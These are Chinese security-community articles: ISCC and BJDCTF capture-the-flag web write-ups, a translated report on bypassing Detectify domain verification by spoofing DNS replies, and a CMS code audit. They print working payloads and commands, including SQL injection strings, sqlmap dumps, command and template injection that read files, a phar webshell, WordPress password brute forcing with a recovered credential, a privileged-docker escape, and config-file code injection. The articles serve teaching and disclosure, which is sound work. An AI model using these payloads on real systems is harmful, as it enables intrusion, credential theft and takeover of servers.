查看非法对象Cookie中files的文件对象数组
php > print_r(unserialize($X));
Array
(
[0] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => UploadFile
[fakename] => ./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"
[realname] => A
)
[1] => ZipArchive Object
(
[status] => 0
[statusSys] => 0
[numFiles] => 0
[filename] =>
[comment] =>
[fakename] => sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess
[realname] => 9
)
)
最后访问`index.php?action=open&i=1`，服务器直接操作files数组中i=1索引的对象执行open()方法，即ZipArchive的open函数，删除`.htaccess`文件。
之后，直接上传webshell拿到服务器权限
shell.php is in folder sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/cf9c5d4cdaab48d9872f7029d1cd642431e58193.php
flag{ghs_aswoer_nmxld}
### Where is file?
考点：文件包含
题目源码直接给了
<?php
show_source(__FILE__);
echo $_GET['hello'];
$file=$_GET['file'];
while (strstr($file, "file://")) {
$file=str_replace("file://", "", $file);
}
include($file);
?
代码审计`file`变量用户可控存在文件包含漏洞
测试发现本地文件包含漏洞无法进行恶意利用（服务器访问日志、SSH日志等无法直接访问包含），直接猜测测试是否存在远程文件包含漏洞（随便找一个其他题目链接，意外发现成功包含【第一次CTF遇见远程文件包含。。。。尴尬。。。】）
到这里不用说了，直接远程包含恶意文件拿到Webshell
这里也可以查看服务器的php.ini配置
flag{web_include_file}
### 成绩查询-2
考点：敏感信息收集、SQL注入
题目打开之后是一个登陆界面
测试查看任意账户密码登录回显信息（不管用户名、密码是什么都会报错：`password is error！`）
简单注入`username`和`password`无果，到这里先不再继续注入，寻找网站是否存在其它的敏感信息泄露
收集网站敏感信息，发现存在特殊目录和文件的泄露
`inc`目录存放的是配置文件和功能函数文件
Index of /inc
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] config.inc.php 2020-05-11 01:59 697
[ ] function.php 2020-04-28 12:44 7.1K
[ ] mysql.inc.php 2020-05-07 02:46 1.0K
Apache/2.4.29 (Ubuntu) Server at 101.201.126.95 Port 7007
接着访问`flag.php`，发现存在跳转，使用bp拦截数据包
根据返回的数据包提示注入字段`name`
经过注入测试发现存在时间盲注，但是过滤了空格（这里使用注释符绕过）
payload（这里禁用JS之后再进行测试，避免跳转到index.php界面）
1'/**/AND/**/(SELECT/**/6/**/FROM/**/(SELECT(SLEEP(5)))B)#
知道注入规则之后，直接使用SQLMAP添加tamper脚本进行自动化攻击利用
sqlmap -u "http://101.201.126.95:7007/flag.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --tamper=space2comment -D pikachu -T flag -C "flag" --dump
得到MD5进行解密
ciphertext：67d4e5f7ee18967a612a5eb8dcda020a
plaintext：sixsixsix
flag{sixsixsix}
### 成绩查询-3
考点：密码算法
题目打开如下
可以看到这是一串base64编码的字符串，但是解码之后是乱码
可以猜测该字符串在base64编码之前可能进行过其它算法的的处理（一般算法加密的数据最后都会进行base64编码存储，避免特殊字符的影响），下来对网站进行敏感信息的收集，发现并未存在其它目录文件的泄露，但是网站主页的源代码里存在注释的源码敏感信息
从代码可以看出这是一个加密算法，也就验证了主页显示的一串字符串正是由该算法加密处理后的结果。
既然知道了加密算法，就可以很容易的推出解密算法来，但是要想解密这段特殊字符串必须知道密钥key，由于前面的敏感信息收集并没有发现key的泄露，所以根据题目的关联性，回到上一关`ISCC成绩查询_2`（一般上一关flag会是下一关解题的一部分）寻找是否存在key，因为上一关注入得到的flag为`flag{sixsixsix}`，所以猜测key可能取值为`sixsixsix
或 666`，知道密钥key之后剩下的就是由加密算法编写解密算法，解密算法如下：
<?php
function decrypt($data, $key) {
echo "n".$key.'：';
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
echo $str;
}
$key1 = "sixsixsix";
$key2 = "666";
$c = "qKe4j6uFeqaTe5rVqqaXiKig25o=";
decrypt($c, $key1);
decrypt($c, $key2);
?>
解密数据`qKe4j6uFeqaTe5rVqqaXiKig25o=`
从结果可以看到密钥key为`666`，解密结果为`BFS_ISCC_First_Prize`
flag{BFS_ISCC_First_Prize}
### 神秘组织的邮件-2
考点：脚本编写、代码审计
题目打开有一串数字字符还有一个提交按钮
看数字和Result提交，猜测是计算上面的四个数然后提交结果，但是应该是什么样的四则运算呢？？依据上一题`神秘组织的邮件-1`解出的flag提示进行解题：`flag{加减乘除}`
知道表达式的运算规则之后，编写脚本进行测试利用
import re
import requests
url='http://101.201.126.95:7010/index.php'
r = requests.session()
text = r.get(url).text
calc = str(re.findall('(.*?)<form action="result.php" method="post">', text))[2:-2]
#print(text)
#print(calc)
s1 = calc.replace(' ', '+', 1)
s2 = s1.replace(' ', '-', 1)
s3 = s2.replace(' ', '*', 1)
s4 = s3.replace(' ', '/', 1)
print(s4)
ans = eval(s4)
print(ans)
data = {'result':ans, 'submit':'提交'}
url1 = 'http://101.201.126.95:7010/result.php'
res = r.post(url1, data=data)
print(res.text)
print(res.headers)
print(res.status_code)
运行脚本得到页面的其它回显信息
34685+95037-7*786/2
126971.0
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>download</title>
</head>
<body>
?>
<a href="/IS20CC20abc%$.txt" download>下载文件</a>
</body>
</html>
从认证回显结果可以看到有一个txt文件可以下载，尝试访问得到部分源码（这里有一个坑！！！，不能直接访问`IS20CC20abc%$.txt`，需要对`%$`进行URL编码，不然会报404错误`Your
browser sent a request that this server could not understand`）
正确的URL访问如下：
http://101.201.126.95:7010/IS20CC20abc%25%24.txt
`IS20CC20abc%$.txt`：
$pp = trim(base64_decode($result));
if ($pp === 'flag.php') {
header ( "Location: ./flag.php" );
审计部分代码可知，需要变量`$result`值经过base64解码之后等于字符串`flag.php`
base64编码字符串`flag.php` —>> `ZmxhZy5waHA=`
继续回到主页面，提交`ZmxhZy5waHA=`，可是发现页面并没有跳转到`./flag.php`，猜测存在过滤，对`ZmxhZy5waHA=`进行改写绕过过滤：`Z'm'x'h'Z'y'5'w'a'H'A'=`
回到主页面提交特定字符串跳转到`./flag.php`得到flag
flag{welcomekenan{toiscc}}
### 阿帅的爱情
考点：命令注入
题目直接给了源码让进行审计，如下：
<?php
if(!isset($_GET["ip"])){
show_source(__file__);
} else
{
$ip=$_GET["ip"];
$pattern="/[;|&].*[a-zA-Z]+/";
if(preg_match($pattern,$ip)!=0){
die('bad domain');
}
try {
$result = shell_exec('ping -c 4 ' . $ip);
}
catch(Exception $e) {
$result = $e->getMessage();
echo $result;
}
$result = str_replace("n", "<br>", $result);
echo $result;
}
审计可得变量`ip`存在注入，但是代码对`ip`变量进行了特殊字符与字母的过滤
这里因为是`shell_exec`函数并且正则对特殊字符进行了过滤，所以可以使用换行符`%0a`进行截断绕过限制
通过审计绕过限制之后直接命令注入执行读取flag文件
?ip=127.0.0.1 %0acat flag.php
flag{6Zi/5qOu5LiK5LqG6Zi_5biF77yM5Zyo5LiA5Liq5rKh5py_J5pif5pif55qE5aSc5pma}
## 擂台题-Web
### Easy Injection
考点：jinja2模板注入
题目提示python模板注入
典型的模板注入案例，没有过滤，直接构造利用payload
http://101.201.126.95:7050/{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /usr/src/app/flog').read()") }}{% endif %}{% endfor %}
http://101.201.126.95:7050/{{ config.__class__.__init__.__globals__['os'].popen('cat flog').read() }}
**附题目源码**
* index.py
#encoding:utf-8
from flask import Flask,request,render_template_string
import urllib.request,urllib.parse
app = Flask(__name__)
@app.route("/")
def hello():
return "python template injection"
@app.errorhandler(404)
def page_not_found(error):
url = urllib.parse.unquote(request.url)
return render_template_string("<h1>URL %s not found</h1><br/>"% url), 404
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)
### 简简单单，干掉WP
考点：渗透测试
题目打开是一个大家所熟悉的CMS框架Wordpress站点
先查看WP版本：访问`readme.html`或使用`wpscan`进行扫描探测
→ Qftm :~/Desktop# wpscan --url http://94.191.116.98:64555/
_______________________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __ ®
/ / / | ___/ ___ / __|/ _` | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.7.6
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://94.191.116.98:64555/
[+] Started: Fri May 8 22:38:46 2020
Interesting Finding(s):
[+] http://94.191.116.98:64555/
| Interesting Entries:
| - Server: nginx/1.17.10
| - X-Powered-By: PHP/7.2.30
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://94.191.116.98:64555/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] http://94.191.116.98:64555/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://94.191.116.98:64555/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] http://94.191.116.98:64555/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.1 identified (Latest, released on 2020-04-29).
| Found By: Rss Generator (Passive Detection)
| - http://94.191.116.98:64555/feed/, <generator>https://wordpress.org/?v=5.4.1</generator>
| - http://94.191.116.98:64555/comments/feed/, <generator>https://wordpress.org/?v=5.4.1</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://94.191.116.98:64555/wp-content/themes/twentyseventeen/
| Latest Version: 2.3 (up to date)
| Last Updated: 2020-03-31T00:00:00.000Z
| Readme: http://94.191.116.98:64555/wp-content/themes/twentyseventeen/readme.txt
| Style URL: http://94.191.116.98:64555/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Aggressive Detection)
| - http://94.191.116.98:64555/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <=========================> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Fri May 8 22:42:30 2020
[+] Requests Done: 70
[+] Cached Requests: 3
[+] Data Sent: 14.687 KB
[+] Data Received: 15.181 MB
[+] Memory used: 178.301 MB
[+] Elapsed time: 00:03:44
访问`http://94.191.116.98:64555/robots.txt`得到后台页面
http://94.191.116.98:64555/wp-login.php
想办法登录网站，使用`wpscan`探测网站有哪些用户
wpscan --url http://94.191.116.98:64555 -e u
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://94.191.116.98:64555/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] jerry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
探测到存在`admin和jerry`两个网站用户，将用户存储在文件`user`中
下来使用`cewl`根据网站生成破解密码`pass`
cewl http://94.191.116.98:64555/ -w pass
通过`wpscan`利用生成的user和pass两个文件进行破解验证后台
wpscan --url http://94.191.116.98:64555 -U user -P pass
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <===============================> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - jerry / egIsNNNnotHe
Trying admin / Author Time: 00:00:02 <==================================> (106 / 106) 100.00% Time: 00:00:02
[i] Valid Combinations Found:
| Username: jerry, Password: egIsNNNnotHe
验证结果得到网站后台一组用户名和密码
Username: jerry, Password: egIsNNNnotHe
使用得到的账户名和密码登录后台，拿到flag
flag{wEak_pAsS_1s_deNge20us}
### 大黑阔
考点：phar反序列化、Docker逃逸提权
题目上来就是一个上传界面，不用说就有过滤【只能上传gif】，对网站进行敏感信息收集
泄露网站源码`www.zip`，下载源码
upload.php
<?php
$tmp_file_location='/var/www/html/';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
$tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
show.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
分析源码，可知可以利用phar反序列化进行利用，主要是因为show.php存在phar反序列化可用点：类AnyClass和函数file_exists()，file_exists在处理phar文件时会反序列化phar文件中用户自定义的meta-data字段，其中phar文件类型不由后缀决定
编写脚本生成具有攻击载荷的phar文件
<?php
class AnyClass{
var $output = 'echo "ok";';
}
@unlink('exp-q.phar');
$phar = new Phar("exp-q.phar");
$phar->startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$object = new AnyClass();
$object ->output= 'eval(@$_POST['q']);';
$phar->setMetadata($object);
$phar->addFromString("a", "a");
$phar->stopBuffering();
?>
查看生成的phar文件
00000000 3C 3F 70 68 70 20 5F 5F 48 41 4C 54 5F 43 4F 4D <?php __HALT_COM
00000010 50 49 4C 45 52 28 29 3B 20 3F 3E 0D 0A 6A 00 00 PILER(); ?>..j..
00000020 00 01 00 00 00 11 00 00 00 01 00 00 00 00 00 3B ...............;
00000030 00 00 00 4F 3A 38 3A 22 41 6E 79 43 6C 61 73 73 ...O:8:"AnyClass
00000040 22 3A 31 3A 7B 73 3A 36 3A 22 6F 75 74 70 75 74 ":1:{s:6:"output
00000050 22 3B 73 3A 31 39 3A 22 65 76 61 6C 28 40 24 5F ";s:19:"eval(@$_
00000060 50 4F 53 54 5B 27 71 27 5D 29 3B 22 3B 7D 01 00 POST['q']);";}..
00000070 00 00 61 01 00 00 00 52 48 CA 5E 01 00 00 00 43 ..a....RH.^....C
00000080 BE B7 E8 B6 01 00 00 00 00 00 00 61 98 14 3A DC ...........a..:.
00000090 67 2A 62 13 5F C6 2F 99 A8 27 BA 44 F5 32 B3 5F g*b._./..'.D.2._
000000A0 02 00 00 00 47 42 4D 42 ....GBMB
对于本地生成的phar文件，依据上传限制，直接更改phar文件后缀为gif，上传phar.gif直接Getshell
在服务器上没有找到flag，可能权限不够，由于服务器上开着docker，并且www用户可以直接操作docker的部署
下来直接利用docker启动特权容器或者cap-add=SYS_ADMIN（或映射宿主机文件到容器中）
docker run -it --privileged=true ubuntu /bin/bash
此时docker容器具有mount权限，进入容器挂载宿主机目录到容器中，修改宿主机的`/etc/passwd`进行提取得到flag
flag{Nobody_knows_Hackuoer_better_than_me}
## 总结
不谈ISCC赛制怎么样，对于不同阶段的人也是有一定的学习和提高。 | 社区文章 |
# 【技术分享】通过伪造DNS响应绕过域名所有权验证
|
##### 译文声明
本文是翻译文章，文章来源：detectify.com
原文地址：<https://labs.detectify.com/2017/09/11/guest-blog-bypassing-domain-control-verification-with-dns-response-spoofing/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[testvul_001](http://bobao.360.cn/member/contribute?uid=780092473)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言：**
我们的客座博主和Detectify众包团队黑客Evgeny
Morozov将在本文中解释他是如何通过伪造DNS响应来绕过Detectify的域名所有权验证的。非常感谢Evgeny的突出贡献—众包团队中有这样的研究者很令人感到自豪。
当用户需要使用Detectify来扫描一个网站时，我们必须先验证他对这个域名的所有权（几乎所有的在线扫描都有这种验证）。其中的一种验证方式是在DNS的TXT记录中增加Detectify提供的字符串。当用户点击验证时，Detectify会执行一个DNS检查来确认是否存在验证字符串。下面我们来看看如果验证一个你并不拥有的域名会发生什么。
**DNS 伪造背景**
****
DNS查询和响应通常都是通过UDP协议传输的，所以IP地址伪造可以让查询客户端认为攻击者所发的DNS响应是来自于正常DNS服务器的。当然查询客户端只会接受明显符合要求的响应，下面的几个项目必须符合要求：
1、源IP地址（DNS服务器）
2、目的IP地址（DNS客户端）
3、源端口（DNS服务器）-通常是53
4、目的端口（DNS客户端）-DNS请求的源端口
5、Transaction ID- 客户端产生的16 bit数字
6、Questions-本质上是复制的DNS查询请求
源地址和端口以及目的IP都是已知的，DNS
“question”可以猜出来，或者从一个攻击者可以访问的地方复制一个真实的查询。现在唯一不能确定的就是目的端口和Transaction ID了。
九年前很多DNS客户端修复了可以预测源端口和Transaction
ID的漏洞。猜测一个16bit的数字是完全可行的—因为只有65536种可能，攻击者完全可以在真实的DNS响应到达前给DNS客服端发送成千上万的假响应包。2008年的7月Dan
Kaminsky披露了这个问题。随后DNS维护方就用完全随机的Transaction ID和端口修复了这个问题。所以这种攻击已经过时了，那么真是这样吗？
**通过验证**
****
我有一种预感，为了避免得到缓存数据，Detectify会执行自己的DNS查询，而不仅仅是使用系统的DNS解析工具。如果这样的话，它就仍可能还在使用可预测的Transaction
ID和小范围的源端口。
为了测试我通过dnsmasq为我控制的域名搭建了一个简单域名服务器，并且在进行Detectify验证的时候抓了多次包。使用Wireshark打开抓的包，可以发现来自scanner.detectify.com的dns查询请求。源端口看起来是足够随机了，但是Transaction
ID是不是有问题呢？
**事情简单了！！！**
****
Transaction ID每次都是0，现在我准确的知道Detectify发出的DNS查询，所以伪造一个正确的DNS响应的唯一问题就是源端口。
**POC**
****
尽管现在我已经可以报告漏洞了，但是我想确定它是可利用的。一个理论漏洞和可利用的漏洞还是有差别的。
下面我们尝试验证example.com。创造一个伪造的DNS响应payload很简单：首先用tcpdump抓取一个真实的响应，然后手工改变域名。Nping工具可以用来发送这个响应并伪造原地址和端口：
上面的命令尝试尽可能快的发送伪造的DNS响应给scanner.detectify.com，它声称来自于199.43.133.53（example.com的真实域名服务器），设置的源端口范围在30000到39999。下面需要做的就是在我的笔记本上运行上述命令，并且在Detectify的网站上疯狂的不停的点击验证按钮。
事实上现在所有的ISP和数据中心都会在出口过滤伪造的数据包—防止它们离开自己的网络，并且有很好地理由。伪造的数据包最常见的用途是DDOS攻击，特别是DNS反射放大攻击。所以我需要一个不会做过滤的主机，并且攻击机和受害者之间的延迟必须尽可能的低，以提高伪造的响应在真实的响应之前到达的概率。
如何找到这样的一个主机就留给读者作为练习了。但是现在我可以自豪的说我已经是6个虚拟服务器的主人了，虽然其中的5个并没有什么卵用（所幸它们都很便宜）。在疯狂的点击Detectify网站的验证按钮后，我们终于得到了下面的提示：
成功了！
**总结：**
****
Detectify在报告后的三小时内修复了漏洞。 | 社区文章 |
## 前言
近日，对某cmsV9.9版本进行代码审计，发现了4处漏洞。
这4处漏洞漏洞比较基础，也很经典。从这4处漏洞，可以反应了在程序开发过程中一些容易忽略的问题，下面分享下本次审计过程。
## 审计之旅
在开发程序时，如果没有正确的过滤单引号（'）、双引号（"）、反斜杠（\）等特殊字符，往往会产生代码/sql注入漏洞。
在针对这些特殊字符，开发者经常使用如下方式进行过滤：
1. 使用addslashes进行过滤
2. 使用str_replace对单引号等进行替换操作
3. 使用is_numeric等方法对数字类型的输入进行判断与过滤
审计此cms时发现，以上3种方式，在此程序的开发过程中，都有使用。但是，不严谨的使用，使得注入漏洞仍然存在
首先分析下此cms，来看下\include\common.php文件
如上图，在common.php文件中require filter.inc.php
在filter.inc.php文件中，存在如下图代码
此cms使用伪全局变量的模式，使用foreach从’_GET','_POST','_COOKIE’中遍历数组中的值，然后再将获取到的数组键名作为变量，数组中的键值过滤后作为变量的值
跟进_FilterAll
可见，程序在此处使用addslashes对键值进行过滤
这样一来，我们可以通过’_GET','_POST','_COOKIE’为程序中的任意参数传入值，但是传入的值会被addslashes过滤
例如 <http://www.testcms.com/index.php?grq=1'23>
程序接收此url后，程序中的grq变量会为：$grq="1\'23"
开发者对这样的处理方式仍然不放心，于是，在\include\common.php文件中require_once(sea_INC."/filter.inc.php")进行过滤后，再次从’_GET','_POST','_COOKIE’中取键值对进行伪全局变量赋值与过滤
跟进_RunMagicQuotes方法
_RunMagicQuotes方法中对键值使用addslashes进行过滤与赋值变量
以上两段代码依次执行，对比下这两处代码
filter.inc.php文件中的过滤与赋值代码
common.php文件中的过滤与赋值代码
filter.inc.php文件中赋值的${$k}被后续common.php文件中的${$k}覆盖了，filter.inc.php文件中的过滤部分代码
**白写了** 。
虽说filter.inc.php过滤部分代码在做无用功，但是仍然可以看出开发者对特殊字符的防范意识很高
在了解完该程序之后，接下来漏洞：
### 1．未对拼接参数使用单引号闭合而导致的sql注入漏洞
位于上图143行处
经过上文对程序伪全局变量赋值方式的分析可知，这里$leftSelect
可由GET方法传递的来。当使用GET传入$leftSelect时，程序会使用addslashes对参数进行过滤
但是如上图143行拼接的sql语句来看，并未对$leftSelect变量使用单引号进行闭合，导致虽然使用addslashes函数进行过滤，但仍然存在sql注入漏洞
构造payload
&leftSelect=1 or updatexml(1,concat(0x7,user(),0x7e),1)
最终执行的sql语句是：
UPDATE `sea_data` SET `tid`= 1 where tid= 1 or
updatexml(1,concat(0x7,user(),0x7e),1)
同样，在另一处文件中admin_tempvideo.php， 也存在相同的漏洞
如上图可见，$ids变量被拼接到sql语句中，并在上图25行被执行
$ids变量由$e_id通过implode方法拼接而来，而$e_id变量可以通过GET方法直接传入，$e_id变量可控，由此造成sql注入漏洞
构造的payload如下
[&e_id[0]=1)%20or%20extractvalue(1,concat(0x7e,(SELECT%20CONCAT_WS(0x23,name,%20password)%20FROM%20sea_admin%20limit%200,1)))--%20&type=1](http://127.0.0.1/seacms/sh8vu7/admin_tempvideo.php?action=import&e_id\[0\]=1)
or extractvalue(1,concat(0x7e,(SELECT CONCAT_WS(0x23,name, password) FROM
sea_admin limit 0,1)))-- &type=1)
### 2．对键值进行过滤，忘记对键名进行处理
漏洞文件： admin_config.php
如上图，看到将$configstr变量写入文件中去
查看下写入文件的具体位置
该位置固定，即为[/data/config.cache.inc.php](http://127.0.0.1/seacms/data/config.cache.inc.php)
config.cache.inc.php
跟踪下$configstr变量
$configstr变量由$k与$v拼接而来，
在下图红框中所示，$$k的值经过str_replace方法过滤
在程序入口处，通过伪全局变量的方式，其实已经对$_POST中的$k进行变量赋值，所以$$k的值即为通过POST传入的变量的经过过滤的键值
例如POST中
&edit___grq=te’st
那么，此时的$k=“&edit ** _grq”，$ &edit_**grq=”te\’st”,$$k=” te\’st”
值得注意的是，上图中仅仅对$$k
进行str_replace处理，而$k并没有经过任何过滤，直接拼接到$configstr变量中，也就是说，可以通过POST提交的KEY值传递构造好的payload，该payload将会被写入文件中去，造成远程代码执行
回头看一下config.cache.inc.php文件
开发者在写过滤代码时，考虑到程序在处理配置文件经常会出现漏洞:即配置文件中变量值注入的问题
在以往的此类漏洞中，往往是未对配置文件中变量值进行合理的过滤，导致单引号等特殊字符被写入值部分，从而构造闭合结果导致注入的产生。
所以，开发者吸取了以往的经验，对写入配置文件中的值部分进行str_replace处理，对”’”与”\”进行转义。但是，由于这里的变量名同样可控，而且未对变量名进行任何过滤，因此，str_replace处理形同虚设
使用如下payload，直接注入
&edit___a;phpinfo();//=1
### 3．经过严格的过滤，报错日志文件中却存在利用点
漏洞触发点位于\comment\api\index.php
由于seacms采用伪全局变量的形式，$page $id等变量可以从GET请求参数中传递进来
程序使用is_numeric对$page进行限制，使得$page必须是数字
上图最下面一行，$h = ReadData($id,$page);
可见将GET请求传入的$id,$page 传递进ReadDate方法中
跟入ReadDate方法
可见GET请求传入的$id,$page 传递进Readmlist方法中
跟进Readmlist方法
在Readmlist方法中的88行，可见存在一处sql语句
可以看到，该sql语句中拼接了$page变量，而$page变量是由GET请求接收而来，可控
当我们通过GET请求传递一个负数值的page时(例如-1)，此时执行的sql语句为
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM
sea_comment WHERE m_type=1 AND v_id=666 ORDER BY id DESC limit -20,10
该sql语句会导致sql语法错误而报错，如下图
到此为止，程序仍然是安全的，并不存在sql注入或是代码执行漏洞。但是此cms对报错日志的处理方式，却很有意思：
当sql语法出现错误时，程序会将报错日志会被写入\data\mysqli_error_trace.php
跟进mysqli_error_trace.php文件，错误日志的格式如上图：
错误日志会被<?php ?>包裹
第一行（第一个红框）为触发错误的url
第二行（第二个红框）为sql语法错误信息
因此，当构造payload如下时
comment/api/index.php?page=-1&gid=666&payload= _/phpinfo();/_
执行成功后，可见成功写入mysqli_error_trace.php，如下图：
访问[/data/mysqli_error_trace.php](http://127.0.0.1/seacms/data/mysqli_error_trace.php)
即可执行phpinfo
## 结束语
从本次代码审计的结果来看，程序在使用addslashes等过滤方式对输入进行过滤后，仍然产生了两处代码执行，两处sql注入。因此使用addslashes等过滤方式在程序入口处对输入进行过滤并不能代表程序固若金汤。配合程序自身的逻辑，使用恰当的方式进行参数过滤才是最优解。 | 社区文章 |
# DASCTF五月月赛 暨 BJDCTF 3rd 部分WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这里是主要是crypto和misc部分的wp。
## WEB
### gob
登录万能密码登（好像可以直接随便输？）然后是一个上传界面
上传后易得一个二级目录uploads，然后看了看目录里都是各种马，但是因为不解析所以一个都没用。。。
但是此时发现文件上传后文件名并没有被更改，所以推测show.php文件包含也是直接包含的我们上传的文件名，所以构造一个`../../../../flag`文件进行目录穿越，再访问就可以得到flag的base64，解密即为flag（PS:必须得在同一个session中）
## MISC
### Questionnaire
F12获得flag，标准签到题
null,null,null,null,[["1vV5T8FOS13NOQDji-xYIynLwsUMXcV8aatxUWP6ljvfz-w",null,[740,416,0]
]
]
]
,[603160739,"What is the name of the store?",null,0,[[539054317,null,0,null,[[4,302,["Haolinju|haolinju"]
,"8cd9"]
]
]
]
,null,null,null,null,[["1x4dT2M6J3EbaiVZ37ssMVunsnsB2UMCM6g4LCHyhlHJu-Q",null,[740,416,0]
]
]
]
,[488094967," What BRAND is this food?",null,0,[[1465781074,null,0,null,[[4,302,["Daoxiangcun|daoxiangcun"]
,"8f00b2"]
]
]
]
,null,null,null,null,[["1lH3bwgs28QoVKcUYhtzoqAcacmh4n4CHyWjGQen4RiE3Jw",null,[375,458,1]
]
]
]
,[1097246628,"Which RESTAURANT are the ducks coming from? ",null,0,[[353762320,null,0,null,[[4,302,["Jingweizhai|jingweizhai"]
,"04e9"]
]
]
]
,null,null,null,null,[["11ym4QgB0WEymoJXlmFy7FTC5Eyd5rV1adBbw6vWN5PmXvw",null,[740,555,0]
]
]
]
,[1916058196,"Which PARK is this?",null,0,[[901636349,null,0,null,[[4,302,["Jingshan|jingshan"]
,"8009"]
]
]
]
,null,null,null,null,[["16pfH3k5-5kDo-Rb9BxeKRvx0S-Qy4IgUdlX8iJ0AUOBIwQ",null,[740,554,0]
]
]
]
,[1044111735,"Which DISTRICT is the No.3 of Beijing?","The restaurant in question4 is in this Distric",0,[[1620980704,null,0,null,[[4,302,["Chaoyang|chaoyang"]
,"98ecf8"]
]
]
]
,null,null,null,null,[["1VbfGqSSHlM9D_HY1TsENa6rle3axBYbtKdyHS_klYDLG5g",null,[740,371,0]
]
]
]
,[1877231084,"Which part of the Great Wall is this?","In Huairou Distric",0,[[1337434564,null,0,null,[[4,302,["Hefangkou|hefangkou"]
,"427e"]
flag为答案后面拼起来的字符：d41d8cd98f00b204e9800998ecf8427e
* * *
### babyweb
